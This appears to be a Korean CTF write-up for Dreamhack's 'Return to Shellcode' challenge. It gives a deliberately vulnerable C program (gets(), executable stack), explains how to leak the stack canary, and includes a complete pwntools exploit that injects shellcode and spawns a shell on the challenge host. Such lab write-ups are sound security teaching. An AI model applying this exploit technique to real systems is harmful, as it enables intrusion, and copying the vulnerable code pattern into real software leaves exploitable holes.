🚩 Return to Shellcode
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
// SFP(StackFramePointer) - buf 주소 = buf -> SFP 거리
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
_}_
buf 0x50 byte, canary 8 byte, SFP 8 byte, RET 8 byte
canary는 첫 1바이트가 0으로 시작하므로 buf를 'A'로 덮고 canary 1바이트까지 덮는다.
그러면 NULL문자가 없어서 %s에서 canary의 나머지 7바이트 까지 읽힌다.
canary 값을 알아냈고 buf에 쉘코드를 삽입한다. 남은 buf는 'A'로 덮고, 알아낸 canary를 삽입한다. SFP도 덮고 RET를 buf address로 덮는다.
buf addr에 삽입한 쉘코드가 실행된다.
sendlineafter("Input: ", payload): Input: 뒤에 payload뒤에 '\n' 문자가 마지막에 추가된다.
sendafter("Input: ", payload): Input: 뒤에 payload만 입력된다.
이걸 몰라서 오류가 해결되지 않았다.
나 같은 사람이 없기를..
from pwn import asm,shellcraft,remote, context, u64, p64
p = remote('host3.dreamhack.games', 19436)
context.arch = 'amd64'
p.recvuntil(b'Address of the buf: ')
buf = int(p.recvn(14), 16)
print(buf)
p.recvuntil(b'Distance between buf and $rbp: ')
sfp = p.recvn(2)
sfp = int(sfp)
bf2canary = sfp-8
print('buf->canary: ', bf2canary)
payload=b'A'*(bf2canary+1)
p.sendafter(b'Input: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7)) # 0 바이트를 앞에 추가
print('canary: ',canary)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(bf2canary, b'A') + p64(canary) + b'B'*8 + p64(buf)
p.sendlineafter(b'Input: ', payload)
p.interactive()